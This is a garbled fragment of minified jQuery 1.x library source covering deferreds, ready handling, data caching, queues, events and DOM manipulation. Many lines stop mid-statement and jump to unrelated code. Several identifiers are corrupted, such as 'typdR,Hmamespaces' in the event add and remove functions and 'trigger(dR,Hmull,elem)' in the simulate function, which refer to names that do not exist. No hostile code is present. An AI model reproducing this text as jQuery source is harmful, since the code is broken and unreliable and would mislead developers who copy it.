returned=fn&&fn.apply(this,arguments);returned&&jQuery.isFunction(returned.promise)?returned.promise().done(newDefer.resolve).fail(newDefer.reject).progress(newDefer.notify):newDefer[tuple[0]+"With"](this===promise?newDefer.promise():this,fn?[returned]:arguments)})});fns=null}).promise()},"promise":function(obj){return null!=obj?jQuery.extend(obj,promi
resolveValues[i]&&jQuery.isFunction(resolveValues[i].promise)?resolveValues[i].promise().done(updateFunc(i,resolveContexts,resolveValues)).fail(deferred.reject).progress(updateFunc(i,progressContexts,progressValues)):--remaining}
remaining||deferred.resolveWith(resolveContexts,resolveValues);return deferred.promise()}});var readyList;jQuery.fn.ready=function(fn){jQuery.ready.promise().done(fn);return this};jQuery.extend({"isReady":!1,"readyWait":1,"holdReady":function(hold){hold?jQuery.readyWait++:jQuery.ready(!0)},"ready":function(wait){if(!0===wait?!--jQuery.readyWait:!jQuery.isReady){if(!document.body)
return setTimeout(jQuery.ready);jQuery.isReady=!0;if(!(!0!==wait&&--jQuery.readyWait>0)){readyList.resolveWith(document,[jQuery]);if(jQuery.fn.triggerHandler){jQuery(document).triggerHandler("ready");jQuery(document).off("ready")}}}}});jQuery.ready.promise=function(obj){if(!readyList){readyList=jQuery.Deferred();if("complete"===document.readyState)
setTimeout(jQuery.ready);else if(document.addEventListener){document.addEventListener("DOMContentLoaded",completed,!1);window.addEventListener("load",completed,!1)}else{document.attachEvent("onreadystatechange",completed);window.attachEvent("onload",completed);var top=!1;try{top=null==window.frameElement&&document.documentElement}catch(e){}
top&&top.doScroll&&function doScrollCheck(){if(!jQuery.isReady){try{top.doScroll("left")}catch(e){return setTimeout(doScrollCheck,50)}
detach();jQuery.ready()}}()}}
return readyList.promise(obj)};var i,strundefined="undefined";for(i in jQuery(support))
break;support.ownLast="0"!==i;support.inlineBlockNeedsLayout=!1;jQuery(function(){var val,div,body,container;body=document.getElementsByTagName("body")[0];if(body&&body.style){div=document.createElement("div");container=document.createElement("div");container.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px";body.appendChild(container).appendChild(div);if(typeof div.style.zoom!==strundefined){div.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1";support.inlineBlockNeedsLayout=val=3===div.offsetWidth;val&&(body.style.zoom=1)}
body.removeChild(container)}});!function(){var div=document.createElement("div");if(null==support.deleteExpando){support.deleteExpando=!0;try{delete div.test}catch(e){support.deleteExpando=!1}}
div=null}();jQuery.acceptData=function(elem){var noData=jQuery.noData[(elem.nodeName+" ").toLowerCase()],nodeType=+elem.nodeType||1;return(1===nodeType||9===nodeType)&&(!noData||!0!==noData&&elem.getAttribute("classid")===noData)};var rbrace=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,rmultiDash=/([A-Z])/g;jQuery.extend({"cache":{},"noData":{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},"hasData":function(elem){elem=elem.nodeType?jQuery.cache[elem[jQuery.expando]]:elem[jQuery.expando];return!!elem&&!isEmptyDataObject(elem)},"data":function(elem,name,data){return internalData(elem,name,data)},"removeData":function(elem,name){return internalRemoveData(elem,name)},"_data":function(elem,name,data){return internalData(elem,name,data,!0)},"_removeData":function(elem,name){return internalRemoveData(elem,name,!0)}});jQuery.fn.extend({"data":function(key,value){var i,name,data,elem=this[0],attrs=elem&&elem.attributes;if(void 0===key){if(this.length){data=jQuery.data(elem);if(1===elem.nodeType&&!
if(attrs[i]){name=attrs[i].name;if(0===name.indexOf("data-")){name=jQuery.camelCase(name.slice(5));dataAttr(elem,name,data[name])}}
jQuery._data(elem,"parsedAttrs",!0)}}
return data}
return"object"==typeof key?this.each(function(){jQuery.data(this,key)}):arguments.length>1?this.each(function(){jQuery.data(this,key,value)}):elem?dataAttr(elem,key,jQuery.data(elem,key)):void 0},"removeData":function(key){return this.each(function(){jQuery.removeData(this,key)})}});jQuery.extend({"queue":function(elem,type,data){var queue;if(elem){type=(type||"fx")+"queue";queue=jQuery._data(elem,type);data&&(!queue||jQuery.isArray(data)?queue=jQuery._data(elem,type,jQuery.makeArray(data)):queue.push(data));return queue||[]}},"dequeue":function(elem,type){type=type||"fx";var queue=jQuery.queue(elem,type),startLength=queue.length,fn=queue.shift(),hooks=jQuery._queueHooks(elem,type),next=function(){jQuery.dequeue(elem,type)};if("inprogress"===fn){fn=queue.shift();startLength--}
if(fn){"fx"===type&&queue.unshift("inprogress");delete hooks.stop;fn.call(elem,next,hooks)}
!startLength&&hooks&&hooks.empty.fire()},"_queueHooks":function(elem,type){var key=type+"queueHooks";return jQuery._data(elem,key)||jQuery._data(elem,key,{"empty":jQuery.Callbacks("once memory").add(function(){jQuery._removeData(elem,type+"queue");jQuery._removeData(elem,key)})})}});jQuery.fn.extend({"queue":function(type,data){var setter=2;if("string"!=typeof type){data=type;type="fx";setter--}
return arguments.length<setter?jQuery.queue(this[0],type):void 0===data?this:this.each(function(){var queue=jQuery.queue(this,type,data);jQuery._queueHooks(this,type);"fx"===type&&"inprogress"!==queue[0]&&jQuery.dequeue(this,type)})},"dequeue":function(type){return this.each(function(){jQuery.dequeue(this,type)})},"clearQueue":function(type){return this.queue(type||"fx",[])},"promise":function(type,obj){var tmp,count=1,defer=jQuery.Deferred(),elements=this,i=this.length,resolve=function(){--count||defer.resolveWith(elements,[elements])};if("string"!=typeof type){obj=type;type=void 0}
type=type||"fx";for(;i--;){tmp=jQuery._data(elements[i],type+"queueHooks");if(tmp&&tmp.empty){count++;tmp.empty.add(resolve)}}
resolve();return defer.promise(obj)}});var pnum=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,cssExpand=["Top","Right","Bottom","Left"],isHidden=function(elem,el){elem=el||elem;return"none"===jQuery.css(elem,"display")||!jQuery.contains(elem.ownerDocument,elem)},access=jQuery.access=function(elems,fn,key,value,chainable,emptyGet,raw){var i=0,length=elems.length,bulk=null==key;if("object"===jQuery.type(key)){chainable=!0;for(i in key)
jQuery.access(elems,fn,i,key[i],!0,emptyGet,raw)}else if(void 0!==value){chainable=!0;jQuery.isFunction(value)||(raw=!0);if(bulk)
if(raw){fn.call(elems,value);fn=null}else{bulk=fn;fn=function(elem,key,value){return bulk.call(jQuery(elem),value)}}
if(fn)
for(;i<length;i++)
fn(elems[i],key,raw?value:value.call(elems[i],i,fn(elems[i],key)))}
return chainable?elems:bulk?fn.call(elems):length?fn(elems[0],key):emptyGet},rcheckableType=/^(?:checkbox|radio)$/i;!function(){var input=document.createElement("input"),div=document.createElement("div"),fragment=document.createDocumentFragment();div.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";support.leadingWhitespace=3===div.firstChild.nodeType;support.tbody=!div.getElementsByTagName("tbody").length;support.htmlSerialize=!!div.getElementsByTagName("link").length;support.html5Clone="<:nav></:nav>"!==document.createElement("nav").cloneNode(!0).outerHTML;input.type="checkbox";input.checked=!0;fragment.appendChild(input);support.appendChecked=input.checked;div.innerHTML="<textarea>x</textarea>";support.noCloneChecked=!!div.cloneNode(!0).lastChild.defaultValue;fragment.appendChild(div);div.innerHTML="<input type='radio' checked='checked' name='t'/>";support.checkClone=div.cloneNode(!0).cloneNode(!0).lastChild.checked;support.noCloneEvent=!0;if(div.attachEvent){div.attachEvent("
if(null==support.deleteExpando){support.deleteExpando=!0;try{delete div.test}catch(e){support.deleteExpando=!1}}}();!function(){var i,eventName,div=document.createElement("div");for(i in{"submit":!0,"change":!0,"focusin":!0}){eventName="on"+i;if(!(support[i+"Bubbles"]=eventName in window)){div.setAttribute(eventName,"t");support[i+"Bubbles"]=!1===div.attributes[eventName].expando}}
div=null}();var rformElems=/^(?:input|select|textarea)$/i,rkeyEvent=/^key/,rmouseEvent=/^(?:mouse|pointer|contextmenu)|click/,rfocusMorph=/^(?:focusinfocus|focusoutblur)$/,rtypenamespace=/^([^.]*)(?:\.(.+)|)$/;jQuery.event={"global":{},"add":function(elem,types,handler,data,selector){var tmp,events,t,handleObjIn,special,eventHandle,handleObj,handlers,typdR,Hmamespaces,origType,elemData=jQuery._data(elem);if(elemData){if(handler.handler){handleObjIn=handler;handler=handleObjIn.handler;selector=handleObjIn.selector}
handler.guid||(handler.guid=jQuery.guid++);(events=elemData.events)||(events=elemData.events={});if(!(eventHandle=elemData.handle)){eventHandle=elemData.handle=function(e){return typeof jQuery===strundefined||e&&jQuery.event.triggered===e.type?void 0:jQuery.event.dispatch.apply(eventHandle.elem,arguments)};eventHandle.elem=elem}
types=(types||"").match(rnotwhite)||[""];t=types.length;for(;t--;){tmp=rtypenamespace.exec(types[t])||[];type=origType=tmp[1];namespaces=(tmp[2]||"").split(".").sort();if(type){special=jQuery.event.special[type]||{};type=(selector?special.delegateType:special.bindType)||type;special=jQuery.event.special[type]||{};handleObj=jQuery.extend({"type":type,"origType":origType,"data":data,"handler":handler,"guid":handler.guid,"selector":selector,"needsContext":selector&&jQuery.expr.match.needsContext.test(selector),"namespace":namespaces.join(".")},handleObjIn);if(!(handlers=events[type])){handlers=events[type]=[];handlers.delegateCount=0;special.setup&&!1!==special.setup.call(elem,data,namespaces,eventHandle)||(elem.addEventListener?elem.addEventListener(type,eventHandle,!1):elem.attachEvent&&elem.attachEvent("on"+type,eventHandle))}
if(special.add){special.add.call(elem,handleObj);handleObj.handler.guid||(handleObj.handler.guid=handler.guid)}
selector?handlers.splice(handlers.delegateCount++,0,handleObj):handlers.push(handleObj);jQuery.event.global[type]=!0}}
elem=null}},"remove":function(elem,types,handler,selector,mappedTypes){var j,handleObj,tmp,origCount,t,events,special,handlers,typdR,Hmamespaces,origType,elemData=jQuery.hasData(elem)&&jQuery._data(elem);if(elemData&&(events=elemData.events)){types=(types||"").match(rnotwhite)||[""];t=types.length;for(;t--;){tmp=rtypenamespace.exec(types[t])||[];type=origType=tmp[1];namespaces=(tmp[2]||"").split(".").sort();if(type){special=jQuery.event.special[type]||{};type=(selector?special.delegateType:special.bindType)||type;handlers=events[type]||[];tmp=tmp[2]&&new RegExp("(^|\\.)"+namespaces.join("\\.(?:.*\\.|)")+"(\\.|$)");origCount=j=handlers.length;for(;j--;){handleObj=handlers[j];if((mappedTypes||origType===handleObj.origType)&&(!handler||handler.guid===handleObj.guid)&&(!tmp||tmp.test(handleObj.namespace))&&(!selector||selector===handleObj.selector||"**"===selector&&handleObj.selector)){handlers.splice(j,1);handleObj.selector&&handlers.delegateCount--;special.remove&&special.remove.call(elem,handleObj)}}
if(origCount&&!handlers.length){special.teardown&&!1!==special.teardown.call(elem,namespaces,elemData.handle)||jQuery.removeEvent(elem,type,elemData.handle);delete events[type]}}else
for(type in events)
jQuery.event.remove(elem,type+types[t],handler,selector,!0)}
if(jQuery.isEmptyObject(events)){delete elemData.handle;jQuery._removeData(elem,"events")}}},"trigger":function(event,data,elem,onlyHandlers){var handle,ontype,cur,bubbleType,special,tmp,i,eventPath=[elem||document],type=hasOwn.call(event,"type")?event.type:event,namespaces=hasOwn.call(event,"namespace")?event.namespace.split("."):[];cur=tmp=elem=elem||document;if(3!==elem.nodeType&&8!==elem.nodeType&&!rfocusMorph.test(type+jQuery.event.triggered)){if(type.indexOf(".")>=0){namespaces=type.split(".");type=namespaces.shift();namespaces.sort()}
ontype=type.indexOf(":")<0&&"on"+type;event=event[jQuery.expando]?event:new jQuery.Event(type,"object"==typeof event&&event);event.isTrigger=onlyHandlers?2:3;event.namespace=namespaces.join(".");event.namespace_re=event.namespace?new RegExp("(^|\\.)"+namespaces.join("\\.(?:.*\\.|)")+"(\\.|$)"):null;event.result=void 0;event.target||(event.target=elem);data=null==data?[event]:jQuery.makeArray(data,[event]);special=jQuery.event.special[type]||{};if(onlyHandlers||!special.trigger||!1!==special.trigger.apply(elem,data)){if(!onlyHandlers&&!special.noBubble&&!jQuery.isWindow(elem)){bubbleType=special.delegateType||type;rfocusMorph.test(bubbleType+type)||(cur=cur.parentNode);for(;cur;cur=cur.parentNode){eventPath.push(cur);tmp=cur}
tmp===(elem.ownerDocument||document)&&eventPath.push(tmp.defaultView||tmp.parentWindow||window)}
i=0;for(;(cur=eventPath[i++])&&!event.isPropagationStopped();){event.type=i>1?bubbleType:special.bindType||type;handle=(jQuery._data(cur,"events")||{})[event.type]&&jQuery._data(cur,"handle");handle&&handle.apply(cur,data);handle=ontype&&cur[ontype];if(handle&&handle.apply&&jQuery.acceptData(cur)){event.result=handle.apply(cur,data);!1===event.result&&event.preventDefault()}}
event.type=type;if(!onlyHandlers&&!event.isDefaultPrevented()&&(!special._default||!1===special._default.apply(eventPath.pop(),data))&&jQuery.acceptData(elem)&&ontype&&elem[type]&&!jQuery.isWindow(elem)){tmp=elem[ontype];tmp&&(elem[ontype]=null);jQuery.event.triggered=type;try{elem[type]()}catch(e){}
jQuery.event.triggered=void 0;tmp&&(elem[ontype]=tmp)}
return event.result}}},"dispatch":function(event){event=jQuery.event.fix(event);var i,ret,handleObj,matched,j,handlerQueue=[],args=slice.call(arguments),handlers=(jQuery._data(this,"events")||{})[event.type]||[],special=jQuery.event.special[event.type]||{};args[0]=event;event.delegateTarget=this;if(!special.preDispatch||!1!==special.preDispatch.call(this,event)){handlerQueue=jQuery.event.handlers.call(this,event,handlers);i=0;for(;(matched=handlerQueue[i++])&&!event.isPropagationStopped();){event.currentTarget=matched.elem;j=0;for(;(handleObj=matched.handlers[j++])&&!event.isImmediatePropagationStopped();)
if(!event.namespace_re||event.namespace_re.test(handleObj.namespace)){event.handleObj=handleObj;event.data=handleObj.data;ret=((jQuery.event.special[handleObj.origType]||{}).handle||handleObj.handler).apply(matched.elem,args);if(void 0!==ret&&!1===(event.result=ret)){event.preventDefault();event.stopPropagation()}}}
special.postDispatch&&special.postDispatch.call(this,event);return event.result}},"handlers":function(event,handlers){var sel,handleObj,matches,i,handlerQueue=[],delegateCount=handlers.delegateCount,cur=event.target;if(delegateCount&&cur.nodeType&&(!event.button||"click"!==event.type))
for(;cur!=this;cur=cur.parentNode||this)
if(1===cur.nodeType&&(!0!==cur.disabled||"click"!==event.type)){matches=[];for(i=0;i<delegateCount;i++){handleObj=handlers[i];sel=handleObj.selector+" ";void 0===matches[sel]&&(matches[sel]=handleObj.needsContext?jQuery(sel,this).index(cur)>=0:jQuery.find(sel,this,null,[cur]).length);matches[sel]&&matches.push(handleObj)}
matches.length&&handlerQueue.push({"elem":cur,"handlers":matches})}
delegateCount<handlers.length&&handlerQueue.push({"elem":this,"handlers":handlers.slice(delegateCount)});return handlerQueue},"fix":function(event){if(event[jQuery.expando])
return event;var i,prop,copy,type=event.type,originalEvent=event,fixHook=this.fixHooks[type];fixHook||(this.fixHooks[type]=fixHook=rmouseEvent.test(type)?this.mouseHooks:rkeyEvent.test(type)?this.keyHooks:{});copy=fixHook.props?this.props.concat(fixHook.props):this.props;event=new jQuery.Event(originalEvent);i=copy.length;for(;i--;){prop=copy[i];event[prop]=originalEvent[prop]}
event.target||(event.target=originalEvent.srcElement||document);3===event.target.nodeType&&(event.target=event.target.parentNode);event.metaKey=!!event.metaKey;return fixHook.filter?fixHook.filter(event,originalEvent):event},"props":"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),"fixHooks":{},"keyHooks":{"props":"char charCode key keyCode".split(" "),"filter":function(event,original){null==event.which&&(event.which=null!=original.charCode?original.charCode:original.keyCode);return event}},"mouseHooks":{"props":"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),"filter":function(event,original){var body,eventDoc,doc,button=original.button,fromElement=original.fromElement;if(null==event.pageX&&null!=original.clientX){eventDoc=event.target.ownerDocument||document;doc=eventDoc.documentElement;body=eventDoc.body;event.pageX=original.clientX+(doc&&doc.scrollLeft||body&&body.
!event.relatedTarget&&fromElement&&(event.relatedTarget=fromElement===event.target?original.toElement:fromElement);event.which||void 0===button||(event.which=1&button?1:2&button?3:4&button?2:0);return event}},"special":{"load":{"noBubble":!0},"focus":{"trigger":function(){if(this!==safeActiveElement()&&this.focus)
try{this.focus();return!1}catch(e){}},"delegateType":"focusin"},"blur":{"trigger":function(){if(this===safeActiveElement()&&this.blur){this.blur();return!1}},"delegateType":"focusout"},"click":{"trigger":function(){if(jQuery.nodeName(this,"input")&&"checkbox"===this.type&&this.click){this.click();return!1}},"_default":function(event){return jQuery.nodeName(event.target,"a")}},"beforeunload":{"postDispatch":function(event){void 0!==event.result&&event.originalEvent&&(event.originalEvent.returnValue=event.result)}}},"simulate":function(type,elem,event,bubble){var e=jQuery.extend(new jQuery.Event,event,{"type":type,"isSimulated":!0,"originalEvent":{}});bubble?jQuery.event.trigger(dR,Hmull,elem):jQuery.event.dispatch.call(elem,e);e.isDefaultPrevented()&&event.preventDefault()}};jQuery.removeEvent=document.removeEventListener?function(elem,type,handle){elem.removeEventListener&&elem.removeEventListener(type,handle,!1)}:function(elem,type,handle){var name="on"+type;if(elem.detachEvent){typeof elem[name]===strundefi
return new jQuery.Event(src,props);if(src&&src.type){this.originalEvent=src;this.type=src.type;this.isDefaultPrevented=src.defaultPrevented||void 0===src.defaultPrevented&&!1===src.returnValue?returnTrue:returnFalse}else
this.type=src;props&&jQuery.extend(this,props);this.timeStamp=src&&src.timeStamp||jQuery.now();this[jQuery.expando]=!0};jQuery.Event.prototype={"isDefaultPrevented":returnFalse,"isPropagationStopped":returnFalse,"isImmediatePropagationStopped":returnFalse,"preventDefault":function(){var e=this.originalEvent;this.isDefaultPrevented=returnTrue;e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},"stopPropagation":function(){var e=this.originalEvent;this.isPropagationStopped=returnTrue;if(e){e.stopPropagation&&e.stopPropagation();e.cancelBubble=!0}},"stopImmediatePropagation":function(){var e=this.originalEvent;this.isImmediatePropagationStopped=returnTrue;e&&e.stopImmediatePropagation&&e.stopImmediatePropagation();this.stopPropagation()}};jQuery.each({"mouseenter":"mouseover","mouseleave":"mouseout","pointerenter":"pointerover","pointerleave":"pointerout"},function(orig,fix){jQuery.event.special[orig]={"delegateType":fix,"bindType":fix,"handle":function(event){var ret,target=this,related=event.relatedTarg
return ret}}});support.submitBubbles||(jQuery.event.special.submit={"setup":function(){if(jQuery.nodeName(this,"form"))
return!1;jQuery.event.add(this,"click._submit keypress._submit",function(e){var elem=e.target,form=jQuery.nodeName(elem,"input")||jQuery.nodeName(elem,"button")?elem.form:void 0;if(form&&!jQuery._data(form,"submitBubbles")){jQuery.event.add(form,"submit._submit",function(event){event._submit_bubble=!0});jQuery._data(form,"submitBubbles",!0)}})},"postDispatch":function(event){if(event._submit_bubble){delete event._submit_bubble;this.parentNode&&!event.isTrigger&&jQuery.event.simulate("submit",this.parentNode,event,!0)}},"teardown":function(){if(jQuery.nodeName(this,"form"))
return!1;jQuery.event.remove(this,"._submit")}});support.changeBubbles||(jQuery.event.special.change={"setup":function(){if(rformElems.test(this.nodeName)){if("checkbox"===this.type||"radio"===this.type){jQuery.event.add(this,"propertychange._change",function(event){"checked"===event.originalEvent.propertyName&&(this._just_changed=!0)});jQuery.event.add(this,"click._change",function(event){this._just_changed&&!event.isTrigger&&(this._just_changed=!1);jQuery.event.simulate("change",this,event,!0)})}
return!1}
jQuery.event.add(this,"beforeactivate._change",function(e){var elem=e.target;if(rformElems.test(elem.nodeName)&&!jQuery._data(elem,"changeBubbles")){jQuery.event.add(elem,"change._change",function(event){!this.parentNode||event.isSimulated||event.isTrigger||jQuery.event.simulate("change",this.parentNode,event,!0)});jQuery._data(elem,"changeBubbles",!0)}})},"handle":function(event){var elem=event.target;if(this!==elem||event.isSimulated||event.isTrigger||"radio"!==elem.type&&"checkbox"!==elem.type)
return event.handleObj.handler.apply(this,arguments)},"teardown":function(){jQuery.event.remove(this,"._change");return!rformElems.test(this.nodeName)}});support.focusinBubbles||jQuery.each({"focus":"focusin","blur":"focusout"},function(orig,fix){var handler=function(event){jQuery.event.simulate(fix,event.target,jQuery.event.fix(event),!0)};jQuery.event.special[fix]={"setup":function(){var doc=this.ownerDocument||this,attaches=jQuery._data(doc,fix);attaches||doc.addEventListener(orig,handler,!0);jQuery._data(doc,fix,(attaches||0)+1)},"teardown":function(){var doc=this.ownerDocument||this,attaches=jQuery._data(doc,fix)-1;if(attaches)
jQuery._data(doc,fix,attaches);else{doc.removeEventListener(orig,handler,!0);jQuery._removeData(doc,fix)}}}});jQuery.fn.extend({"on":function(types,selector,data,fn,one){var type,origFn;if("object"==typeof types){if("string"!=typeof selector){data=data||selector;selector=void 0}
for(type in types)
this.on(type,selector,data,types[type],one);return this}
if(null==data&&null==fn){fn=selector;data=selector=void 0}else if(null==fn)
if("string"==typeof selector){fn=data;data=void 0}else{fn=data;data=selector;selector=void 0}
if(!1===fn)
fn=returnFalse;else if(!fn)
return this;if(1===one){origFn=fn;fn=function(event){jQuery().off(event);return origFn.apply(this,arguments)};fn.guid=origFn.guid||(origFn.guid=jQuery.guid++)}
return this.each(function(){jQuery.event.add(this,types,fn,data,selector)})},"one":function(types,selector,data,fn){return this.on(types,selector,data,fn,1)},"off":function(types,selector,fn){var handleObj,type;if(types&&types.preventDefault&&types.handleObj){handleObj=types.handleObj;jQuery(types.delegateTarget).off(handleObj.namespace?handleObj.origType+"."+handleObj.namespace:handleObj.origType,handleObj.selector,handleObj.handler);return this}
if("object"==typeof types){for(type in types)
this.off(type,selector,types[type]);return this}
if(!1===selector||"function"==typeof selector){fn=selector;selector=void 0}
!1===fn&&(fn=returnFalse);return this.each(function(){jQuery.event.remove(this,types,fn,selector)})},"trigger":function(type,data){return this.each(function(){jQuery.event.trigger(type,data,this)})},"triggerHandler":function(type,data){var elem=this[0];if(elem)
return jQuery.event.trigger(type,data,elem,!0)}});var nodeNames="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",rinlinejQuery=/ jQuery\d+="(?:null|\d+)"/g,rnoshimcache=new RegExp("<(?:"+nodeNames+")[\\s/>]","i"),rleadingWhitespace=/^\s+/,rxhtmlTag=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,rtagName=/<([\w:]+)/,rtbody=/<tbody/i,rhtml=/<|&#?\w+;/,rnoInnerhtml=/<(?:script|style|link)/i,rchecked=/checked\s*(?:[^=]|=\s*.checked.)/i,rscriptType=/^$|\/(?:java|ecma)script/i,rscriptTypeMasked=/^true\/(.*)/,rcleanScript=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,wrapMap={"option":[1,"<select multiple='multiple'>","</select>"],"legend":[1,"<fieldset>","</fieldset>"],"area":[1,"<map>","</map>"],"param":[1,"<object>","</object>"],"thead":[1,"<table>","</table>"],"tr":[2,"<table><tbody>","</tbody></table>"],"col":[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],"td":[3,"<ta
clone=elem.cloneNode(!0);else{fragmentDiv.innerHTML=elem.outerHTML;fragmentDiv.removeChild(clone=fragmentDiv.firstChild)}
if(!(support.noCloneEvent&&support.noCloneChecked||1!==elem.nodeType&&11!==elem.nodeType||jQuery.isXMLDoc(elem))){destElements=getAll(clone);srcElements=getAll(elem);for(i=0;null!=(node=srcElements[i]);++i)
destElements[i]&&fixCloneNodeIssues(node,destElements[i])}
if(dataAndEvents)
if(deepDataAndEvents){srcElements=srcElements||getAll(elem);destElements=destElements||getAll(clone);for(i=0;null!=(node=srcElements[i]);i++)
cloneCopyEvent(node,destElements[i])}else
cloneCopyEvent(elem,clone);destElements=getAll(clone,"script");destElements.length>0&&setGlobalEval(destElements,!inPage&&getAll(elem,"script"));destElements=srcElements=node=null;return clone},"buildFragment":function(elems,context,scripts,selection){for(var j,elem,contains,tmp,tag,tbody,wrap,l=elems.length,safe=createSafeFragment(context),nodes=[],i=0;i<l;i++){elem=elems[i];if(elem||0===elem)
if("object"===jQuery.type(elem))
jQuery.merge(nodes,elem.nodeType?[elem]:elem);else if(rhtml.test(elem)){tmp=tmp||safe.appendChild(context.createElement("div"));tag=(rtagName.exec(elem)||["",""])[1].toLowerCase();wrap=wrapMap[tag]||wrapMap._default;tmp.innerHTML=wrap[1]+elem.replace(rxhtmlTag,"<$1></$2>")+wrap[2];j=wrap[0];for(;j--;)
tmp=tmp.lastChild;!support.leadingWhitespace&&rleadingWhitespace.test(elem)&&nodes.push(context.createTextNode(rleadingWhitespace.exec(elem)[0]));if(!support.tbody){elem="table"!==tag||rtbody.test(elem)?"<table>"!==wrap[1]||rtbody.test(elem)?0:tmp:tmp.firstChild;j=elem&&elem.childNodes.length;for(;j--;)
jQuery.nodeName(tbody=elem.childNodes[j],"tbody")&&!tbody.childNodes.length&&elem.removeChild(tbody)}
jQuery.merge(nodes,tmp.childNodes);tmp.textContent="";for(;tmp.firstChild;)
tmp.removeChild(tmp.firstChild);tmp=safe.lastChild}else
nodes.push(context.createTextNode(elem))}
tmp&&safe.removeChild(tmp);support.appendChecked||jQuery.grep(getAll(nodes,"input"),fixDefaultChecked);i=0;for(;elem=nodes[i++];)
if(!selection||-1===jQuery.inArray(elem,selection)){contains=jQuery.contains(elem.ownerDocument,elem);tmp=getAll(safe.appendChild(elem),"script");contains&&setGlobalEval(tmp);if(scripts){j=0;for(;elem=tmp[j++];)
rscriptType.test(elem.type||"")&&scripts.push(elem)}}
tmp=null;return safe},"cleanData":function(elems,acceptData){for(var elem,type,id,data,i=0,internalKey=jQuery.expando,cache=jQuery.cache,deleteExpando=support.deleteExpando,special=jQuery.event.special;null!=(elem=elems[i]);i++)
if(acceptData||jQuery.acceptData(elem)){id=elem[internalKey];data=id&&cache[id];if(data){if(data.events)
for(type in data.events)
special[type]?jQuery.event.remove(elem,type):jQuery.removeEvent(elem,type,data.handle);if(cache[id]){delete cache[id];deleteExpando?delete elem[internalKey]:typeof elem.removeAttribute!==strundefined?elem.removeAttribute(internalKey):elem[internalKey]=null;deletedIds.push(id)}}}}});jQuery.fn.extend({"text":function(value){return access(this,function(value){return void 0===value?jQuery.text(this):this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(value))},null,value,arguments.length)},"append":function(){return this.domManip(arguments,function(elem){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){manipulationTarget(this,elem).appendChild(elem)}})},"prepend":function(){return this.domManip(arguments,function(elem){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var target=manipulationTarget(this,elem);target.insertBefore(elem,target.firstChild)}})},"before":function(){return this.domManip(arguments,function(elem){this.parentNode&&this.parentNode.insertBefore(
return this},"empty":function(){for(var elem,i=0;null!=(elem=this[i]);i++){1===elem.nodeType&&jQuery.cleanData(getAll(elem,!1));for(;elem.firstChild;)
elem.removeChild(elem.firstChild);elem.options&&jQuery.nodeName(elem,"select")&&(elem.options.length=0)}
return this},"clone":function(dataAndEvents,deepDataAndEvents){dataAndEvents=null!=dataAndEvents&&dataAndEvents;deepDataAndEvents=null==deepDataAndEvents?dataAndEvents:deepDataAndEvents;return this.map(function(){return jQuery.clone(this,dataAndEvents,deepDataAndEvents)})},"html":function(value){return access(this,function(value){var elem=this[0]||{},i=0,l=this.length;if(void 0===value)
return 1===elem.nodeType?elem.innerHTML.replace(rinlinejQuery,""):void 0;if("string"==typeof value&&!rnoInnerhtml.test(value)&&(support.htmlSerialize||!rnoshimcache.test(value))&&(support.leadingWhitespace||!rleadingWhitespace.test(value))&&!wrapMap[(rtagName.exec(value)||["",""])[1].toLowerCase()]){value=value.replace(rxhtmlTag,"<$1></$2>");try{for(;i<l;i++){elem=this[i]||{};if(1===elem.nodeType){jQuery.cleanData(getAll(elem,!1));elem.innerHTML=value}}
elem=0}catch(e){}}
elem&&this.empty().append(value)},null,value,arguments.length)},"replaceWith":function(){var arg=arguments[0];this.domManip(arguments,function(elem){arg=this.parentNode;jQuery.cleanData(getAll(this));arg&&arg.replaceChild(elem,this)});return arg&&(arg.length||arg.nodeType)?this:this.remove()},"detach":function(selector){return this.remove(selector,!0)},"domManip":function(args,callback){args=concat.apply([],args);var first,node,hasScripts,scripts,doc,fragment,i=0,l=this.length,set=this,iNoClone=l-1,value=args[0],isFunction=jQuery.isFunction(value);if(isFunction||l>1&&"string"==typeof value&&!support.checkClone&&rchecked.test(value))
return this.each(function(index){var self=set.eq(index);isFunction&&(args[0]=value.call(this,index,self.html()));self.domManip(args,callback)});if(l){fragment=jQuery.buildFragment(args,this[0].ownerDocument,!1,this);first=fragment.firstChild;1===fragment.childNodes.length&&(fragment=first);if(first){scripts=jQuery.map(getAll(fragment,"script"),disableScript);hasScripts=scripts.length;for(;i<l;i++){node=fragment;if(i!==iNoClone){node=jQuery.clone(node,!0,!0);hasScripts&&jQuery.merge(scripts,getAll(node,"script"))}
callback.call(this[i],node,i)}
if(hasScripts){doc=scripts[scripts.length-1].ownerDocument;jQuery.map(scripts,restoreScript);for(i=0;i<hasScripts;i++){node=scripts[i];rscriptType.test(node.type||"")&&!jQuery._data(node,"globalEval")&&jQuery.contains(doc,node)&&(node.src?jQuery._evalUrl&&jQuery._evalUrl(node.src):jQuery.globalEval((node.text||node.textContent||node.innerHTML||"").replace(rcleanScript,"")))}}
fragment=first=null}}
return this}});jQuery.each({"appendTo":"append","prependTo":"prepend","insertBefore":"before","insertAfter":"after","replaceAll":"replaceWith"},function(name,original){jQuery.fn[name]=function(selector){for(var elems,i=0,ret=[],insert=jQuery(selector),last=insert.length-1;i<=last;i++){elems=i===last?this:this.clone(!0);jQuery(insert[i])[original](elems);push.apply(ret,elems.get())}
return this.pushStack(ret)}});var iframe,elemdisplay={};!function(){var shrinkWrapBlocksVal;support.shrinkWrapBlocks=function(){if(null!=shrinkWrapBlocksVal)
